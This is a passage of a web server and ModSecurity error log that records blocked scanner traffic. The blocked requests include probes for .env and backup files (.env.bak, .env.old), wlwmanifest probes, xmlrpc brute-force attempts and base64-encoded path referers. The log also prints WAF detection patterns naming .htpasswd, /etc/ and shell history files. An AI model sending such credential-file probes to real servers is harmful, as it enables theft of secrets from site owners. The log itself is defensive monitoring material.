[Sat Jun 13 18:11:32.716693 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:11:32.717145 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:11:32.772303 2026] [security2:error] [pid 531797:tid 532016] [client 143.244.57.82:46462] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3xtMTA7b1mZrmcA-8tPQAAAig"] [Sat Jun 13 18:11:33.136593 2026] [security2:error] [pid 531797:tid 531926] [remote 17.246.15.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtcTA7b1mZrmcA-8tTgACij4"] [Sat Jun 13 18:11:33.206334 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.88:55986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:33.206784 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.88:55986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:33.263615 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:33.263998 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:33.375629 2026] [security2:error] [pid 531797:tid 532119] [client 143.244.57.82:46476] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3xtcTA7b1mZrmcA-8tWgAAAos"] [Sat Jun 13 18:11:33.588337 2026] [security2:error] [pid 531797:tid 531946] [remote 17.22.237.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtcTA7b1mZrmcA-8tZQACXlI"] [Sat Jun 13 18:11:33.613819 2026] [security2:error] [pid 531797:tid 532051] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/.env.backup"] [unique_id "ai3xtcTA7b1mZrmcA-8tZwAAAkk"] [Sat Jun 13 18:11:33.706620 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:11:33.706899 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:11:33.824155 2026] [security2:error] [pid 531797:tid 532108] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3xtcTA7b1mZrmcA-8tcwAAAoE"] [Sat Jun 13 18:11:33.899578 2026] [security2:error] [pid 531797:tid 531987] [remote 17.241.75.185:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtcTA7b1mZrmcA-8tdQACVHo"] [Sat Jun 13 18:11:33.965246 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.60:27548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:33.965708 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.60:27548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:33.966264 2026] [security2:error] [pid 531797:tid 532061] [client 143.244.57.82:44274] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3xtcTA7b1mZrmcA-8tdgAAAlM"] [Sat Jun 13 18:11:34.033616 2026] [security2:error] [pid 531797:tid 532113] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/.env.old"] [unique_id "ai3xtsTA7b1mZrmcA-8tegAAAoY"] [Sat Jun 13 18:11:34.255841 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:11:34.256151 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:11:34.259520 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.51:61890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:34.259824 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.51:61890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:34.287143 2026] [security2:error] [pid 531797:tid 531959] [remote 17.246.15.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtsTA7b1mZrmcA-8thAACKF8"] [Sat Jun 13 18:11:34.500339 2026] [security2:error] [pid 531155:tid 531353] [client 172.56.168.133:45307] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xtimiP80klyS0Nnr_AgAAAU4"] [Sat Jun 13 18:11:34.500532 2026] [security2:error] [pid 531155:tid 531353] [client 172.56.168.133:45307] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xtimiP80klyS0Nnr_AgAAAU4"] [Sat Jun 13 18:11:34.550901 2026] [security2:error] [pid 531797:tid 532018] [client 143.244.57.82:44276] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "ai3xtsTA7b1mZrmcA-8tkAAAAio"] [Sat Jun 13 18:11:34.633348 2026] [security2:error] [pid 531155:tid 531156] [remote 17.246.19.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtimiP80klyS0Nnr_BwABUwA"] [Sat Jun 13 18:11:34.678209 2026] [access_compat:error] [pid 531155:tid 531262] [remote 57.141.14.56:38280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:34.678524 2026] [access_compat:error] [pid 531155:tid 531262] [remote 57.141.14.56:38280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:34.700997 2026] [security2:error] [pid 531797:tid 532089] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/core/.env"] [unique_id "ai3xtsTA7b1mZrmcA-8tlgAAAm4"] [Sat Jun 13 18:11:34.736573 2026] [security2:error] [pid 531155:tid 531362] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_8bit_basic.phpt"] [unique_id "ai3xtimiP80klyS0Nnr_DQAAAVc"] [Sat Jun 13 18:11:34.739232 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.59:21937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:34.739688 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.59:21937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:34.800954 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:34.801253 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:34.911146 2026] [security2:error] [pid 531797:tid 532095] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/api/.env"] [unique_id "ai3xtsTA7b1mZrmcA-8tnAAAAnQ"] [Sat Jun 13 18:11:35.085705 2026] [security2:error] [pid 531155:tid 531236] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/backend/.env"] [unique_id "ai3xtymiP80klyS0Nnr_EwABf1A"] [Sat Jun 13 18:11:35.101444 2026] [security2:error] [pid 531797:tid 531955] [remote 17.241.227.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xt8TA7b1mZrmcA-8tnwACLFs"] [Sat Jun 13 18:11:35.104426 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.67:43763] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:35.104745 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.67:43763] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:35.121501 2026] [security2:error] [pid 531797:tid 532104] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/backend/.env"] [unique_id "ai3xt8TA7b1mZrmcA-8togAAAn0"] [Sat Jun 13 18:11:35.137181 2026] [security2:error] [pid 531797:tid 532081] [client 143.244.57.82:44290] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3xt8TA7b1mZrmcA-8tpAAAAmc"] [Sat Jun 13 18:11:35.201062 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.53:65110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:35.201513 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.53:65110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:35.265280 2026] [security2:error] [pid 531155:tid 531256] [remote 17.246.15.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtymiP80klyS0Nnr_GAABXWQ"] [Sat Jun 13 18:11:35.292343 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:11:35.292639 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 